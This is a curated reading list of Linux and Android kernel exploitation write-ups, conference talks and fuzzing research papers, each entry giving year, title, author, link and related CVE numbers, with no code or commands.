[2020: "TiYunZong: An Exploit Chain to Remotely Root Modern Android Devices" by Guang Gong at Black Hat](https://github.com/secmob/TiYunZong-An-Exploit- Chain-to-Remotely-Root-Modern-Android-Devices/blob/master/us-20-Gong- TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices.pdf) [slides] [[paper](https://github.com/secmob/TiYunZong-An-Exploit-Chain-to- Remotely-Root-Modern-Android-Devices/blob/master/us-20-Gong-TiYunZong-An- Exploit-Chain-to-Remotely-Root-Modern-Android-Devices-wp.pdf)] [CVE-2019-10567]
[2020: "Binder - Analysis and exploitation of CVE-2020-0041" by Jean-Baptiste Cayrou](https://www.synacktiv.com/posts/exploit/binder-analysis-and- exploitation-of-cve-2020-0041.html) [article] [CVE-2020-0041]
2020: "Binder IPC and its vulnerabilities" by Jean-Baptiste Cayrou at THCON [slides] [CVE-2019-2215, CVE-2019-2025, CVE-2019-2181, CVE-2019-2214, CVE-2020-0041]
[2020: "Exploiting CVE-2020-0041 - Part 2: Escalating to root" by Eloi Sanfelix and Jordan Gruskovnjak](https://labs.bluefrostsecurity.de/blog/2020/04/08/cve-2020-0041-part-2-escalating- to-root/) [article] [CVE-2020-0041]
2020: "A bug collision tale" by Eloi Sanfelix at OffensiveCon [slides] [video] [CVE-2019-2025]
[2020: "CVE-2020-8835: Linux Kernel Privilege Escalation via Improper eBPF Program Verification" by Manfred Paul](https://www.zerodayinitiative.com/blog/2020/4/8/cve-2020-8835-linux- kernel-privilege-escalation-via-improper-ebpf-program-verification) [article] [CVE-2020-8835]
[2020: "Mitigations are attack surface, too" by Jann Horn](https://googleprojectzero.blogspot.com/2020/02/mitigations-are-attack- surface-too.html) [article]
2020: "CVE-2019-18683: Exploiting a Linux kernel vulnerability in the V4L2 subsystem" by Alexander Popov [article] [slides] [CVE-2019-18683]
[2020: "Multiple Kernel Vulnerabilities Affecting All Qualcomm Devices" by Tamir Zahavi-Brunner](https://blog.zimperium.com/multiple-kernel- vulnerabilities-affecting-all-qualcomm-devices/) [article] [CVE-2019-14040, CVE-2019-14041]
[2019: "Kernel Research / mmap handler exploitation" by deshal3v](https://deshal3v.github.io/blog/kernel- research/mmap_exploitation)[article] [CVE-2019-18675]
[2019: "Bad Binder: Android In-The-Wild Exploit" by Maddie Stone](https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in- wild-exploit.html) [article] [CVE-2019-2215]
[2019: "Analyzing Android's CVE-2019-2215 (/dev/binder UAF)"](https://dayzerosec.com/posts/analyzing-androids-cve-2019-2215-dev- binder-uaf/) [article] [CVE-2019-2215]
2019: "Stream Cut: Android Kernel Exploitation with Binder Use-After-Free (CVE-2019-2215)" [video] [CVE-2019-2215]
2019: "CVE-2019-2215 - Android kernel binder vulnerability analysis" [article] [CVE-2019-2215]
2019: "Deep Analysis of Exploitable Linux Kernel Vulnerabilities" by Tong Lin and Luhai Chen at Linux Security Summit EU [video] [CVE-2017-16995, CVE-2017-10661]
[2019: "Tailoring CVE-2019-2215 to Achieve Root" by Grant Hernandez](https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to- achieve-root/) [article] [CVE-2019-2215]
2019: "From Zero to Root: Building Universal Android Rooting with a Type Confusion Vulnerability" by Wang Yong [slides] [CVE-2018-9568, WrongZone]
2019: "KARMA takes a look at offense and defense: WrongZone from exploitation to repair" [article] [CVE-2018-9568, WrongZone]
2019: "Android Binder: The Bridge To Root" by Hongli Han and Mingjian Zhou [slides] [CVE-2019-2025]
2019: "The ‘Waterdrop’ in Android: A Binder Kernel Vulnerability" by Hongli Han [article] [CVE-2019-2025]
2019: "An Exercise in Practical Container Escapology" by Nick Freeman [article] [CVE-2017-1000112]
[2019: "Taking a page from the kernel's book: A TLB issue in mremap()" by Jann Horn](https://googleprojectzero.blogspot.com/2019/01/taking-page-from-kernels- book-tlb-issue.html) [article] [CVE-2018-18281]
2019: "CVE-2018-18281 - Analysis of TLB Vulnerabilities in Linux Kernel" [article]
2019: "Analysis of Linux xfrm Module Cross-Border Read-Write Escalation Vulnerability (CVE-2017-7184)" [article] [CVE-2017-7184]
2019: "Analysis of Escalation Vulnerability Caused by Integer Extension of Linux ebpf Module (CVE-2017-16995)" [article] [CVE-2017-16995]
2019: "Linux kernel 4.20 BPF integer overflow vulnerability analysis" [article]
[2019: "Attacking DRM subsystem to gain kernel privilege on Chromebooks" by Di Shen](https://speakerdeck.com/retme7/attacking-drm-subsystem-to-gain-kernel- privilege-on-chromebooks) [slides] [video] [CVE-2019-16508]
2018: "Linux kernel 4.20 BPF integer overflow-heap overflow vulnerability and its exploitation" [article]
2018: "CVE-2017-11176: A step-by-step Linux Kernel exploitation [article] [CVE-2017-11176]
[2018: "A cache invalidation bug in Linux memory management" by Jann Horn](https://googleprojectzero.blogspot.com/2018/09/a-cache-invalidation-bug- in-linux.html) [article] [CVE-2018-17182]
2018: "Dissecting a 17-year-old kernel bug" by Vitaly Nikolenko at beVX [slides] [CVE-2018-6554, CVE-2018-6555]
2018: "SSD Advisory – IRDA Linux Driver UAF" [article] [CVE-2018-6554, CVE-2018-6555]
[2018: "Integer overflow in Linux's create_elf_tables()"](https://www.openwall.com/lists/oss- security/2018/09/25/4) [announcement] [CVE-2018-14634]
2018: "MMap Vulnerabilities – Linux Kernel" [article] [CVE-2018-8781]
2018: "Ubuntu kernel eBPF 0day analysis" [article] [CVE-2017-16995]
[2018: "eBPF and Analysis of the get-rekt-linux-hardened.c Exploit for CVE-2017-16995"](https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis- of-get-rekt-linux.html) [article] [CVE-2017-16695]
[2017: "Linux kernel: CVE-2017-1000112: Exploitable memory corruption due to UFO to non-UFO path switch" by Andrey Konovalov](http://seclists.org/oss- sec/2017/q3/286) [announcement] [CVE-2017-1000112]
[2017: "Linux Kernel Vulnerability Can Lead to Privilege Escalation: Analyzing CVE-2017-1000112" by Krishs Patil](https://securingtomorrow.mcafee.com/mcafee- labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing- cve-2017-1000112/) [article] [CVE-2017-1000112]
[2017: "Adapting the POC for CVE-2017-1000112 to Other Kernels"](https://ricklarabee.blogspot.de/2017/12/adapting-poc-for- cve-2017-1000112-to.html) [article] [CVE-2017-1000112]
[2017: "The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel" by Di Shen](https://speakerdeck.com/retme7/the-art-of-exploiting- unconventional-use-after-free-bugs-in-android-kernel) [slides] [CVE-2017-0403, CVE-2016-6787] [video]
[2017: "Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox!" by Chris Salls](https://salls.github.io/Linux-Kernel- CVE-2017-5123/) [article] [CVE-2017-5123]
2017: "Exploiting CVE-2017-5123" by Federico Bento [article] [CVE-2017-5123]
[2017: "Escaping Docker container using waitid() – CVE-2017-5123" by Daniel Shapira](https://www.twistlock.com/2017/12/27/escaping-docker-container-using- waitid-cve-2017-5123/) [article] [CVE-2017-5123]
2017: "LKE v4.13.x - waitid() LPE" by HyeongChan Kim [article] [CVE-2017-5123]
[2017: "Exploiting on CVE-2016-6787"](https://hardenedlinux.github.io/system- security/2017/10/16/Exploiting-on-CVE-2016-6787.html) [article] [CVE-2016-6787]
2017: "Race For Root: The Analysis Of The Linux Kernel Race Condition Exploit" by Alexander Popov [video] [CVE-2017-2636]
2017: "Race For Root: The Analysis Of The Linux Kernel Race Condition Exploit" by Alexander Popov [slides] [CVE-2017-2636]
2017: "CVE-2017-2636: exploit the race condition in the n_hdlc Linux kernel driver bypassing SMEP" by Alexander Popov [article] [CVE-2017-2636]
2017: "CVE-2017-2636: local privilege escalation flaw in n_hdlc" by Alexander Popov [announcement] [CVE-2017-2636]
2017: "Dirty COW and why lying is bad even if you are the Linux kernel" [article] [CVE-2016-5195]
[2017: "NDAY-2017-0103: Arbitrary kernel write in sys_oabi_epoll_wait" by Zuk Avraham](https://blog.zimperium.com/nday-2017-0103-arbitrary-kernel-write-in- sys_oabi_epoll_wait/) [article] [CVE-2016-3857]
[2017: "NDAY-2017-0106: Elevation of Privilege in NVIDIA nvhost-vic driver" by Zuk Avraham](https://blog.zimperium.com/nday-2017-0106-elevation-of-privilege- in-nvidia-nvhost-vic-driver/) [article] [CVE-2016-2434]
2017: "PWN2OWN 2017 Linux kernel privilege escalation analysis" [article] [CVE-2017-7184]
[2017: "Exploiting the Linux kernel via packet sockets" by Andrey Konovalov](https://googleprojectzero.blogspot.com/2017/05/exploiting-linux- kernel-via-packet.html) [article] [CVE-2017-7308]
[2017: "NDAY-2017-0105: Elevation of Privilege Vulnerability in MSM Thermal Drive" by Zuk Avraham](https://blog.zimperium.com/nday-2017-0105-elevation-of- privilege-vulnerability-in-msm-thermal-driver/) [article] [CVE-2016-2411]
[2017: "NDAY-2017-0102: Elevation of Privilege Vulnerability in NVIDIA Video Driver" by Zuk Avraham](https://blog.zimperium.com/nday-2017-0102-elevation- of-privilege-vulnerability-in-nvidia-video-driver/) [article] [CVE-2016-2435]
2017: "CVE-2017-6074: DCCP double-free vulnerability (local root)" by Andrey Konovalov [announcement] [CVE-2017-6074]
2016: "CVE-2016-8655 Linux af_packet.c race condition (local root)" by Philip Pettersson [announcement] [CVE-2016-8655]
[2016: "Rooting Every Android From Extension To Exploitation" by Di Shen and James Fang at Black Hat](https://speakerdeck.com/retme7/rooting-every-android- from-extension-to-exploitation) [slides] [[article](https://www.blackhat.com/docs/eu-16/materials/eu-16-Shen-Rooting- Every-Android-From-Extension-To-Exploitation-wp.pdf)] [CVE-2015-0570, CVE-2016-0820, CVE-2016-2475, CVE-2016-8453]
2016: "Talk is Cheap, Show Me the Code" by James Fang, Di Shen and Wen Niu [slides] [CVE-2015-1805]
[2016: "CVE-2016-3873: Arbitrary Kernel Write in Nexus 9" by Sagi Kedmi](https://sagi.io/2016/09/cve-2016-3873-arbitrary-kernel-write-in- nexus-9/) [article] [CVE-2016-3873]
[2016: "Exploiting Recursion in the Linux Kernel" by Jann Horn](https://googleprojectzero.blogspot.de/2016/06/exploiting-recursion-in- linux-kernel_20.html) [article] [CVE-2016-1583]
[2016: "ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)" By Perception Point Research Team](http://perception- point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability- cve-2016-0728/) [article] [CVE-2016-0728]
[2016: "CVE20160728 Exploit Code Explained" by Shilong Zhao](http://dreamhack.it/linux/2016/01/25/cve-2016-0728-exploit-code- explained.html) [article] [CVE-2016-0728]
2016: "CVE-2016-0728 vs Android" by Collin Mulliner [article] [CVE-2016-0728]
2016: "Notes about CVE-2016-7117" by Lizzie Dixon [article] [CVE-2016-7117]
2016: "CVE-2016-2384: exploiting a double-free in the usb-midi linux kernel driver" by Andrey Konovalov [article] [CVE-2016-2384]
2016: "CVE-2016-6187: Exploiting Linux kernel heap off-by-one" by Vitaly Nikolenko [article] [CVE-2016-6187]
2016: "CVE-2014-2851 group_info UAF Exploitation" by Vitaly Nikolenko [article] [CVE-2014-2851]
[2016: "Perf: From Profiling To Kernel Exploiting" by Wish Wu at HITB Ams](https://conference.hitb.org/hitbsecconf2016ams/wp- content/uploads/2015/11/D2T2-Wish-Wu-Perf-From-Profiling-to-Kernel- Exploiting.pdf) [slides] [video] [CVE-2016-0819]
[2016: "QUADROOTER: NEW VULNERABILITIES AFFECTING OVER 900 MILLION ANDROID DEVICES"](https://www.blackhat.com/docs/eu-16/materials/eu-16-Donenfeld- Stumping-The-Mobile-Chipset-wp.pdf) [article] [CVE-2016-2503, CVE-2106-2504, CVE-2016-2059, CVE-2016-5340]
[2016: "STUMPING THE MOBILE CHIPSET: New 0days from down under" by Adam Donenfeld at DEF CON](https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Adam- Donenfeld-Stumping-The-Mobile-Chipset.pdf) [slides] [CVE-2016-2503, CVE-2106-2504, CVE-2016-2059, CVE-2016-5340]
[2015: "Android linux kernel privilege escalation vulnerability and exploit (CVE-2014-4322)" by Gal Beniamini](https://bits- please.blogspot.de/2015/08/android-linux-kernel-privilege.html) [article] [CVE-2014-4322]
[2015: "Exploiting "BadIRET" vulnerability" by Rafal Wojtczuk](https://web.archive.org/web/20171118232027/https://blogs.bromium.com/exploiting- badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/) [article] [CVE-2014-9322]
2015: "Follow-up on Exploiting "BadIRET" vulnerability (CVE-2014-9322)" by Adam Zabrocki [article] [CVE-2014-9322]
[2015: "Ah! Universal Android Rooting Is Back" by Wen Xu at Black Hat](https://www.blackhat.com/docs/us-15/materials/us-15-Xu-Ah-Universal- Android-Rooting-Is-Back.pdf) [slides] [video] [[paper](https://www.blackhat.com/docs/us-15/materials/us-15-Xu-Ah-Universal- Android-Rooting-Is-Back-wp.pdf)] [CVE-2015-3636]
2015: "When is something overflowing" by Keen Team [slides]
[2015: "Exploiting the DRAM rowhammer bug to gain kernel privileges" by Mark Seaborn and Thomas Dullien](https://googleprojectzero.blogspot.de/2015/03/exploiting-dram- rowhammer-bug-to-gain.html) [article] [Rowhammer]
2015: "CVE-2014-4943 - PPPoL2TP DoS Analysis" by Vitaly Nikolenko [article] [CVE-2014-4943]
2015: "CVE-2015-0568: Use-After-Free Vulnerability in the Camera Driver of Qualcomm MSM 7x30" [article] [CVE-2015-0568]
[2014: "Exploiting CVE-2014-0196 a walk-through of the Linux pty race condition PoC" by Samuel Gross](http://blog.includesecurity.com/2014/06/exploit-walkthrough- cve-2014-0196-pty-kernel-race-condition.html) [article] [CVE-2014-0196]
[2014: "CVE-2014-4014: Linux Kernel Local Privilege Escalation "exploitation"" by Vitaly Nikolenko](https://cyseclabs.com/blog/cve-2014-4014-local-privilege- escalation) [article] [CVE-2014-4014]
[2014: "CVE-2014-4699: Linux Kernel ptrace/sysret vulnerability analysis" by Vitaly Nikolenko](https://cyseclabs.com/blog/cve-2014-4699-linux-kernel- ptrace-sysret-analysis) [article] [CVE-2014-4699]
[2014: "How to exploit the x32 recvmmsg() kernel vulnerability CVE 2014-0038" by Samuel Gross](http://blog.includesecurity.com/2014/03/exploit- CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html) [article] [CVE-2014-0038]
[2014: "Exploiting the Futex Bug and uncovering Towelroot"](http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and- uncovering-towelroot/) [article] [CVE-2014-3153]
2014: "CVE-2014-3153 Exploit" by Joel Eriksson [article] [CVE-2014-3153]
[2013: "Privilege Escalation Kernel Exploit" by Julius Plenz](https://blog.plenz.com/2013-02/privilege-escalation-kernel- exploit.html) [article] [CVE-2013-1763]
[2013: "A closer look at a recent privilege escalation bug in Linux (CVE-2013-2094)" by Joe Damato](http://timetobleed.com/a-closer-look-at-a- recent-privilege-escalation-bug-in-linux-cve-2013-2094/) [article] [CVE-2013-2094]
2012: "Linux Local Privilege Escalation via SUID /proc/pid/mem Write" by Jason Donenfeld [article] [CVE-2012-0056]
[2011: "Kernel Exploitation Via Uninitialized Stack" by Kees Cook at DEF CON](https://www.defcon.org/images/defcon-19/dc-19-presentations/Cook/DEFCON-19-Cook- Kernel-Exploitation.pdf) [slides] [[video](https://www.youtube.com/watch?v=jg- wnwnkbsy)] [CVE-2010-2963]
[2010: "CVE-2010-2963 v4l compat exploit" by Kees Cook](https://outflux.net/blog/archives/2010/10/19/cve-2010-2963-v4l-compat- exploit/) [article] [CVE-2010-2963]
[2010: "Exploiting large memory management vulnerabilities in Xorg server running on Linux" by Rafal Wojtczuk](http://invisiblethingslab.com/resources/misc-2010/xorg-large-memory- attacks.pdf) [article] [CVE-2010-2240]
[2010: "CVE-2007-4573: The Anatomy of a Kernel Exploit" by Nelson Elhage](https://blog.nelhage.com/2010/02/cve-2007-4573-the-anatomy-of-a- kernel-exploit/) [article] [CVE-2007-4573]
[2010: "Linux Kernel CAN SLUB Overflow" by Jon Oberheide](https://jon.oberheide.org/blog/2010/09/10/linux-kernel-can-slub- overflow/) [article] [CVE-2010-2959]
2010: "af_can linux kernel overflow" by Ben Hawkes [article] [CVE-2010-2959]
2010: "linux compat vulns (part 1)" by Ben Hawkes [article] [CVE-2010-3081]
2010: "linux compat vulns (part 2)" by Ben Hawkes [article] [CVE-2010-3301]
2010: "Some Notes on CVE-2010-3081 Exploitability" [article] [CVE-2010-3081]
[2010: "Anatomy of an exploit: CVE-2010-3081"](https://blogs.oracle.com/ksplice/anatomy-of-an- exploit%3a-cve-2010-3081) [article] [CVE-2010-3081]
[2010: "CVE-2010-4258: Turning denial-of-service into privilege escalation" by Nelson Elhage](https://blog.nelhage.com/2010/12/cve-2010-4258-from-dos-to- privesc/) [article] [CVE-2010-4258]
[2009: "Linux NULL pointer dereference due to incorrect proto_ops initializations (CVE-2009-2692)"](http://blog.cr0.org/2009/08/linux-null- pointer-dereference-due-to.html) [article] [CVE-2009-2692]
[2009: "Even when one byte matters"](https://kernelbof.blogspot.de/2009/07/even-when-one-byte- matters.html) [article] [CVE-2009-1046]
[2009: "CVE-2008-0009/CVE-2008-0010: Linux kernel vmsplice(2) Privilege Escalation"](https://xorl.wordpress.com/2009/08/10/cve-2008-0600cve-2008-0010-linux- kernel-vmsplice2-privilege-escalation/) [article] [CVE-2008-0009, CVE-2008-0010]
2008: "vmsplice(): the making of a local root exploit" by Jonathan Corbet [article] [CVE-2008-0600]
2004: "Linux kernel do_mremap VMA limit local privilege escalation vulnerability" [article] [CVE-2004-0077]
[2021: "BleedingTooth: Linux Bluetooth Zero-Click Remote Code Execution" by Andy Nguyen](https://google.github.io/security- research/pocs/linux/bleedingtooth/writeup): [BadChoice](https://github.com/google/security- research/security/advisories/GHSA-7mh3-gq28-gfrq), [BadKarma](https://github.com/google/security- research/security/advisories/GHSA-h637-c88j-47wq), [BadVibes](https://github.com/google/security- research/security/advisories/GHSA-ccx2-w2r4-x649) [article] [CVE-2020-12352, CVE-2020-12351, CVE-2020-24490]
[2017: "Over The Air: Exploiting Broadcom’s Wi-Fi Stack (Part 2)" by Gal Beniamini](https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting- broadcoms-wi-fi_11.html) [article] [CVE-2017-0569]
2017: "BlueBorn: The dangers of Bluetooth implementations: Unveiling zero day vulnerabilities and security flaws in modern Bluetooth stacks" [paper] [CVE-2017-1000251]
[2016: "CVE Publication: CVE 2016-8633" by Eyal Itkin](https://eyalitkin.wordpress.com/2016/11/06/cve-publication- cve-2016-8633/) [article] [CVE-2016-8633]
2011: "Owned Over Amateur Radio: Remote Kernel Exploitation in 2011" at DEF CON [slides] [video] [CVE-2011-1493]
[2009: "When a "potential D.o.S." means a one-shot remote kernel exploit: the SCTP story"](https://kernelbof.blogspot.de/2009/04/kernel-memory-corruptions- are-not-just.html) [article] [CVE-2009-0065]
2021: "CVE-2021-44733: Fuzzing and exploitation of a use-after-free in the Linux kernel TEE subsystem" by pjlantz [article] [poc] [CVE-2021-44733]
2021: "CVE-2021-43267: Remote Linux Kernel Heap Overflow | TIPC Module Allows Arbitrary Code Execution" by Max Van Amerongen [article] [CVE-2021-43267]
2021: "Kernel Vmalloc Use-After-Free in the ION Allocator" by Gyorgy Miru [article] [CVE-TBD]
[2021: "An EPYC escape: Case-study of a KVM breakout" by Felix Wilhelm](https://googleprojectzero.blogspot.com/2021/06/an-epyc-escape-case- study-of-kvm.html) [article] [CVE-2021-29657]
[2021: "CVE-2021-1905: Qualcomm Adreno GPU memory mapping use-after-free" by Ben Hawkes](https://googleprojectzero.github.io/0days-in-the-wild/0day- RCAs/2021/CVE-2021-1905.html) [article] [CVE-2021-1905]
2021: "A foray into Linux kernel exploitation on Android" by Ayaz Mammadov [article]
[2020: "CVE-2020-16119"](https://github.com/HadarManor/Public- Vulnerabilities/blob/master/CVE-2020-16119/CVE-2020-16119.md) [article] [CVE-2020-16119]
2020: "The short story of 1 Linux Kernel Use-After-Free bug and 2 CVEs (CVE-2020-14356 and CVE-2020-25220)" by Adam Zabrocki [article] [CVE-2020-14356, CVE-2020-25220]
2020: "Curiosity around 'exec_id' and some problems associated with it" by Adam Zabrocki [article]
[2020: "The never ending problems of local ASLR holes in Linux"](https://blog.blazeinfosec.com/the-never-ending-problems-of-local-aslr- holes-in-linux/) [article] [CVE-2019-11190]
[2019: "Reverse-engineering Broadcom wireless chipsets" by Hugues Anguelkov](https://blog.quarkslab.com/reverse-engineering-broadcom-wireless- chipsets.html) [article] [CVE-2019-9503, CVE-2019-9500]
2019: "CVE-2019-2000 - Android kernel binder vulnerability analysis" [article] [CVE-2019-2000]
[2019: "Linux: virtual address 0 is mappable via privileged write() to /proc/*/mem"](https://bugs.chromium.org/p/project- zero/issues/detail?id=1792&desc=2) [article] [CVE-2019-9213]
2019: "CVE-2019-9213 - Analysis of Linux Kernel User Space 0 Virtual Address Mapping Vulnerability" [article] [CVE-2019-9213]
[2018: "IOMMU-resistant DMA attacks" by Gil Kupfer](http://www.cs.technion.ac.il/users/wwwb/cgi-bin/tr- get.cgi/2018/MSC/MSC-2018-21.pdf) [thesis]
[2017: "initroot: Bypassing Nexus 6 Secure Boot through Kernel Command-line Injection"](https://alephsecurity.com/2017/05/23/nexus6-initroot/#anecdote-a- linux-kernel-out-of-bounds-write-cve-2017-1000363) [article] [CVE-2017-1000363]
2016: "Motorola Android Bootloader Kernel Cmdline Injection Secure Boot Bypass" [article] [CVE-2016-10277]
2015: "Vulnerability in the Linux Crypto API that allows unprivileged users to load arbitrary kernel modules" by Mathias Krause [annnouncement]
[2021: "CVEHound: Audit Kernel Sources for Missing CVE Fixes" by Denis Efremov](https://speakerdeck.com/efremov/cvehound-audit-kernel-sources-for- missing-cve-fixes) [slides] [video]
2021: "Finding Multiple Bug Effects for More Precise Exploitability Estimation" by Zhenpeng Lin and Yueqi Chen [slides] [video]
2021: "Triaging Kernel Out-Of-Bounds Write Vulnerabilities" by Weiteng Chen [slides] [video]
2021: "SyzScope: Revealing High-Risk Security Impacts of Fuzzer-Exposed Bugs" by Xiaochen Zou [slides] [video] [lwn article]
[2021: "HEALER: Relation Learning Guided Kernel Fuzzing"](http://www.wingtecher.com/themes/WingTecherResearch/assets/papers/healer- sosp21.pdf) [paper]
[2021: "Detecting semantic bugs using differential fuzzing" by Mara Mihali](https://linuxplumbersconf.org/event/11/contributions/1033/attachments/742/1621/syz- verifier%20-%20Linux%20Plumbers%202021.pdf) [slides] [video]
2021: "Fuzzing Linux with Xen" by Tamas K Lengyel [slides] [video]
2021: "Variant analysis of the ‘Sequoia’ bug" by Jordy Zomer [article]
[2021: "KMSAN, a look under the hood" by Alexander Potapenko](https://github.com/ramosian-glider/talks-and- presentations/blob/master/2021/KernelMemorySanitizer_a_look_under_the_hood.pdf) [slides] [video]
2021: "Detecting Kernel Memory Leaks in Specialized Modules with Ownership Reasoning" [paper]
[2021: "Understanding and Detecting Disordered Error Handling with Precise Function Pairing"](https://www.usenix.org/system/files/sec21summer_wu- qiushi.pdf) [paper]
2021: "KFENCE - Detecting memory bugs in production kernels" [article]
[2021: "Fuzzing the Linux Kernel" by Andrey Konovalov](https://linuxfoundation.org/wp-content/uploads/2021-Linux- Foundation-Mentorship-Series_-Fuzzing-the-Linux-Kernel.pdf) [slides] [video]
[2021: "Dynamic program analysis for fun and profit" by Dmitry Vyukov](https://linuxfoundation.org/wp-content/uploads/Dynamic-program- analysis_-LF-Mentorship.pdf) [slides] [video]
[2020: "Fuzzing the Berkeley Packet Filter" by Benjamin Curt Nilsen](https://search.proquest.com/openview/feeeac2f4c7f767740986bdbf9d51785/1?pq- origsite=gscholar&cbl=44156) [thesis]
[2020: "syzkaller: Adventures in Continuous Coverage-guided Kernel Fuzzing" by Dmitry Vyukov at BlueHat IL](https://docs.google.com/presentation/d/e/2PACX-1vRWjOOL45BclKsCPMzdWmvH12hu- Ld1cU5MbB1tqcBhjVIr1M_qxZRE- ObKcVmqpCyqRAO62Sxm0_aW/pub?start=false&loop=false&delayms=3000&slide=id.p) [video]
2020: "syzkaller / sanitizers: status update" by Dmitry Vyukov at Linux Plumbers [slides] [video]
2020: "Fuzzing for eBPF JIT bugs in the Linux kernel" by Simon Scannell [article]
2020: "Eliminating bugs in BPF JITs using automated formal verification" by Luke Nelson [video] [slides]
[2020: "Fuzzing the Linux kernel (x86) entry code, Part 1 of 3" by Vegard Nossum](https://blogs.oracle.com/linux/fuzzing-the-linux-kernel-x86-entry- code%2c-part-1-of-3) [article]
[2020: "Fuzzing the Linux kernel (x86) entry code, Part 2 of 3" by Vegard Nossum](https://blogs.oracle.com/linux/fuzzing-the-linux-kernel-x86-entry- code%2c-part-2-of-3) [article]
[2020: "Fuzzing the Linux kernel (x86) entry code, Part 3 of 3" by Vegard Nossum](https://blogs.oracle.com/linux/fuzzing-the-linux-kernel-x86-entry- code%2c-part-3-of-3) [article]
2020: "Data-race detection in the Linux kernel" by Marco Elver at Linux Plumbers [slides] [video]
[2020: "harbian-qa: State-based target directed fuzzer based on syzkaller"](https://github.com/hardenedlinux/harbian- qa/blob/master/syzkaller/design_inplementation_intro.md) [article]
2020: "Agamotto: Accelerating Kernel Driver Fuzzing with Lightweight Virtual Machine Checkpoints" [paper] [slides] [video] [code]
[2020: "Using syzkaller, part 1: Fuzzing the Linux kernel" by Andre Almeida](https://www.collabora.com/news-and-blog/blog/2020/03/26/syzkaller- fuzzing-the-kernel/) [article]
[2020: "Using syzkaller, part 2: Detecting programming bugs in the Linux kernel" by Andre Almeida](https://www.collabora.com/news-and- blog/blog/2020/04/17/using-syzkaller-to-detect-programming-bugs-in-linux/) [article]
[2020: "Using syzkaller, part 3: Fuzzing your changes" by Andre Almeida](https://www.collabora.com/news-and-blog/blog/2020/05/12/using- syzkaller-fuzzing-your-changes/) [article]
[2020: "Using syzkaller, part 4: Driver fuzzing" by Andre Almeida](https://www.collabora.com/news-and-blog/blog/2020/06/26/using- syzkaller-part-4-driver-fuzzing/) [article]
2020: "Effective Detection of Sleep-in-atomic-context Bugs in the Linux Kernel" [paper]
2020: "KRACE: Data Race Fuzzing for Kernel File Systems" [paper] [video]
[2020: "HFL: Hybrid Fuzzing on the Linux Kernel"](https://www.ndss- symposium.org/wp-content/uploads/2020/02/24018.pdf) [paper]
[2020: "KOOBE: Towards Facilitating Exploit Generation of Kernel Out-Of-Bounds Write Vulnerabilities"](https://www.usenix.org/system/files/sec20summer_chen- weiteng_prepub.pdf) [paper]
[2020: "Analyzing the Linux Kernel in Userland with AFL and KLEE"](https://blog.grimm-co.com/post/analyzing-the-linux-kernel-in-userland- with-afl-and-klee/) [article]
[2020: "Precisely Characterizing Security Impact in a Flood of Patches via Symbolic Rule Comparison"](https://www.ndss-symposium.org/wp- content/uploads/2020/02/24419-paper.pdf) [paper] [[slides](https://www.ndss- symposium.org/wp-content/uploads/24419-slides.pdf)] [video]
2020: "Finding Race Conditions in Kernels: from Fuzzing to Symbolic Execution" by Meng Xu [thesis]
2020: "A Hybrid Interface Recovery Method for Android Kernels Fuzzing" [paper]
[2019: "Industry Practice of Coverage-Guided Enterprise Linux Kernel Fuzzing"](http://wingtecher.com/themes/WingTecherResearch/assets/papers/fse19-linux- kernel.pdf) [paper]
2019: "Effective Static Analysis of Concurrency Use-After-Free Bugs in Linux Device Drivers" [paper]
[2019: "A gentle introduction to Linux Kernel fuzzing" by Marek Majkowski](https://blog.cloudflare.com/a-gentle-introduction-to-linux-kernel- fuzzing/) [article]
2019: "Unicorefuzz: On the Viability of Emulation for Kernelspace Fuzzing" [paper]
2019: "Case study: Searching for a vulnerability pattern in the Linux kernel" by Alexander Popov [article]
2019: "Razzer: Finding Kernel Race Bugs through Fuzzing" [video] [paper]
2019: "Fuzzing File Systems via Two-Dimensional Input Space Exploration" [paper]
[2019: "PeriScope: An Effective Probing and Fuzzing Framework for the Hardware-OS Boundary"](https://www.ndss-symposium.org/wp- content/uploads/2019/02/ndss2019_04A-1_Song_paper.pdf) [paper]
2019: "Hourglass Fuzz: A Quick Bug Hunting Method" [slides]
2019: "Detecting Missing-Check Bugs via Semantic- and Context-Aware Criticalness and Constraints Inferences" [paper] [[slides](https://www.usenix.org/sites/default/files/conference/protected- files/sec19_slides_lu.pdf)]
2019: "Automatically Identifying Security Checks for Detecting Kernel Semantic Bugs" [paper]
2018: "FastSyzkaller: Improving Fuzz Efficiency for Linux Kernel Fuzzing" [paper]
2018: "Writing the worlds worst Android fuzzer, and then improving it" by Brandon Falk [article]
[2018: "From Thousands of Hours to a Couple of Minutes: Towards Automating Exploit Generation for Arbitrary Types of Kernel Vulnerabilities"](http://i.blackhat.com/us-18/Thu-August-9/us-18-Wu-Towards- Automating-Exploit-Generation-For-Arbitrary-Types-of-Kernel- Vulnerabilities.pdf) [slides] [[paper](http://i.blackhat.com/us-18/Thu- August-9/us-18-Wu-Towards-Automating-Exploit-Generation-For-Arbitrary-Types- of-Kernel-Vulnerabilities-wp.pdf)]
2018: "MoonShine: Optimizing OS Fuzzer Seed Selection with Trace Distillation" [paper] [code]
2018: "Detecting Kernel Memory Disclosure with x86 Emulation and Taint Tracking" by Mateusz Jurczyk [paper]
[2018: "New Compat Vulnerabilities In Linux Device Drivers" at BlackHat](https://www.blackhat.com/docs/asia-18/asia-18-Ding-New-Compat- Vulnerabilities-In-Linux-Device-Drivers.pdf) [slides]
2018: "Precise and Scalable Detection of Double-Fetch Bugs in OS Kernels" [paper]
[2018: "K-Miner: Uncovering Memory Corruption in Linux"](http://lib.21h.io/library/XHEQU6AX/download/SLDEJFQG/2018_K-Miner_- _Uncovering_Memory_Corruption_in_Linux_Internet_Society.pdf) [paper]
2017: "KernelMemorySanitizer (KMSAN)" by Alexander Potapenko [slides]
